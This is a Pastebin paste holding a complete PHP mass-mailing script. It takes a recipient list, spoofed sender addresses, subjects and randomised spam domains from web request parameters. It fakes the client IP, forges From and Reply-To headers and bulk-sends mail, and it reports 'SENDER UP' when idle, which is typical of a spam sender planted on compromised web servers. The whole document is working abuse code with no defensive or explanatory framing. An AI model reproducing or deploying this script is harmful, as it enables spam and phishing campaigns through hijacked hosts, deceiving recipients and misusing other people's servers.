Advertisement
Guest User

Untitled

a guest
Nov 7th, 2014
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.39 KB | None | 0 0
  1. <?php
  2. $_testmail = $_REQUEST['TESTMAIL'];
  3. $_testlink = $_REQUEST['TESTLINK'];
  4. $_status = $_REQUEST['STATUS'];
  5. $_snames = $_REQUEST['SNAMES'];
  6. $_semails = $_REQUEST['SEMAILS'];
  7. $_message = $_REQUEST['MESSAGE'];
  8. $_subjects = $_REQUEST['SUBJECTS'];
  9. $_ctype = $_REQUEST['CTYPE'];
  10. $_spamdom = $_REQUEST['SPAMDOM'];
  11. $_mlr = $_REQUEST['MAILER'];
  12.  
  13. $_SERVER['REMOTE_ADDR'] = rand(128,209) . "." . rand(0,209) . "." . rand(0,209) . "." . rand(0,209);
  14.  
  15. $SpamDom = explode(",", $_spamdom);
  16. $Snames = explode(",", $_snames);
  17. $Semails = explode(",", $_semails);
  18. $Subjects = explode(",", $_subjects);
  19.  
  20. $rnx = chr(rand(97,122)) . chr(rand(97,122)) . chr(rand(97,122)) . rand(100,999);
  21. $rnx.= chr(rand(97,122)) . chr(rand(97,122)) . chr(rand(97,122)) . rand(100,999);
  22. $rnx.= "." . $SpamDom[array_rand($SpamDom)];
  23.  
  24. $smail = stripslashes($Semails[array_rand($Semails)]);
  25. $_rmessage = str_replace("XXRANDOMXX", $rnx, $_message);
  26. $_message = str_replace("\n", "\r\n", $_rmessage);
  27. $_from = stripslashes($Semails[array_rand($Semails)]);
  28. $_subject = $Subjects[array_rand($Subjects)];
  29.  
  30. $_ctype = stripslashes($_ctype);
  31. $message = urlencode($_message);
  32. $message = ereg_replace("%5C%22", "%22", $message);
  33. $message = urldecode($message);
  34. $_message = stripslashes($message);
  35. $_subject = stripslashes($_subject);
  36.  
  37. $headers = array();
  38. $headers[] = "MIME-Version: 1.0";
  39. $headers[] = "Content-type: $_ctype";
  40. $headers[] = "From: $_from";
  41. $headers[] = "Reply-To: $smail";
  42. $headers[] = "X-Mailer: $_mlr ".phpversion();
  43.  
  44. if($_status == "CHECK") {
  45. if($_testmail == NULL) return 0;
  46. if($_from == NULL) return 0;
  47. if($_message == NULL) return 0;
  48. if($_subject == NULL) return 0;
  49.  
  50. $_subject = $_subject . " " . $_testlink;
  51.  
  52. mail($_testmail, $_subject, $_message, implode("\n", $headers));
  53. print "$_testmail\n\n$_message\n\n$_from\n\n$_subject";
  54. }
  55. elseif($_status == "MASS") {
  56. $_maillist = $_REQUEST['MAILLIST'];
  57. $emails = explode(",", $_maillist);
  58.  
  59. if($_from == NULL) return 0;
  60. if($_message == NULL) return 0;
  61. if($_subject == NULL) return 0;
  62.  
  63. foreach($emails as $email) {
  64. if($email == NULL) $email = $_testmail;
  65. mail($email, $_subject, $_message, implode("\r\n", $headers));
  66. print "$email - SENT\r\n";
  67. }
  68. }
  69. else {
  70. print "SENDER UP";
  71. }
  72. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement